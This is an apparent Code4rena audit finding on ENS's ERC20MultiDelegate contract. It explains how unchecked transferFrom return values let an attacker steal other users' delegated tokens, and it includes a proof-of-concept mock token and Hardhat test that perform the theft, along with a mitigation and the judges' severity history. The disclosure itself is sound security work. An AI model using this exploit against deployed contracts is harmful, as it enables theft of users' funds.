Platform: Code4rena
Start Date: 05/10/2023
Pot Size: $33,050 USDC
Total HM: 1
Participants: 54
Period: 6 days
Judge: hansfriese
Id: 294
League: ETH
Rank: 9/54
Findings: 1
Award: $1,774.19
🌟 Selected for report: 0
🚀 Solo Findings: 0
1774.1935 USDC - $1,774.19
ERC20MultiDelegate is expected to work with any ERC20-compliant tokens as long as they provide the same functionality and interface as ERC20Votes from OpenZeppelin. This makes it possible for ERC20MultiDelegate to work with a token that signals token.transferFrom
failure by returning false
instead of reverting, as the ERC-20 standard doesn't require token.transferFrom
to throw
in every case of failure.
In a situation a user A has in the past delegated tokens to user B and the method token.transferFrom
is failing and returning false, e.g the functionality is paused, an attacker can delegate tokens he doesn't have to user B and then later, when token.transferFrom
is back up, call delegateMulti([userB], [], amountDelegatedByUserA)
to reimburse the tokens from user B and steal the tokens delegated by user A.
Add the following code to ENSToken.sol
so it's easy to mock a situation token.transferFrom
fails
bool public canTransferFrom = true; function transferFrom( address from, address to, uint256 amount ) public virtual override returns (bool) { if (canTransferFrom) { return ERC20.transferFrom(from, to, amount); } return false; } function setCanTransferFrom(bool _canTransferFrom) public { canTransferFrom = _canTransferFrom; }
Add the it block below to test/delegatemulti.js
inside the describe block
"ENS Multi Delegate"
describe("ENS Multi Delegate", () => { ... it.only("token.transferFrom signaling failure by returning false allows for funds to be stolen", async () => { const [_, attacker] = await ethers.getSigners(); const delegatorTokenAmount = await token.balanceOf(deployer); await token.approve(multiDelegate.address, delegatorTokenAmount); const delegates = [bob]; const amounts = [delegatorTokenAmount]; await multiDelegate.delegateMulti([], delegates, amounts); expect(await token.balanceOf(deployer)).to.eq(0); expect(await multiDelegate.balanceOf(deployer, delegates[0])).to.eq( amounts[0] ); //Method added for POC //IRL token's functionalities might have been paused or something else that caused transferFrom to fail. token.setCanTransferFrom(false); expect(await token.balanceOf(attacker.address)).to.eq(0); //Since transferFrom will fail this won't revert await multiDelegate .connect(attacker) .delegateMulti([], delegates, amounts); expect( await multiDelegate.balanceOf(attacker.address, delegates[0]) ).to.eq(amounts[0]); token.setCanTransferFrom(true); await multiDelegate .connect(attacker) .delegateMulti(delegates, [], amounts); expect(await token.balanceOf(attacker.address)).to.eq( delegatorTokenAmount ); }); ... })
Manual Review
Check token.transferFrom
return value and revert if it's false.
ERC20
#0 - c4-pre-sort
2023-10-12T08:05:55Z
141345 marked the issue as duplicate of #91
#1 - c4-pre-sort
2023-10-12T08:05:59Z
141345 marked the issue as sufficient quality report
#2 - c4-judge
2023-10-24T17:11:09Z
hansfriese marked the issue as satisfactory
#3 - c4-judge
2023-10-28T06:23:49Z
hansfriese marked the issue as duplicate of #90
#4 - c4-judge
2023-10-28T06:28:05Z
hansfriese marked the issue as not a duplicate
#5 - c4-judge
2023-10-28T06:28:20Z
hansfriese changed the severity to 3 (High Risk)
#6 - c4-judge
2023-10-28T06:28:28Z
hansfriese marked the issue as duplicate of #91
#7 - c4-judge
2023-10-29T10:13:32Z
hansfriese changed the severity to 2 (Med Risk)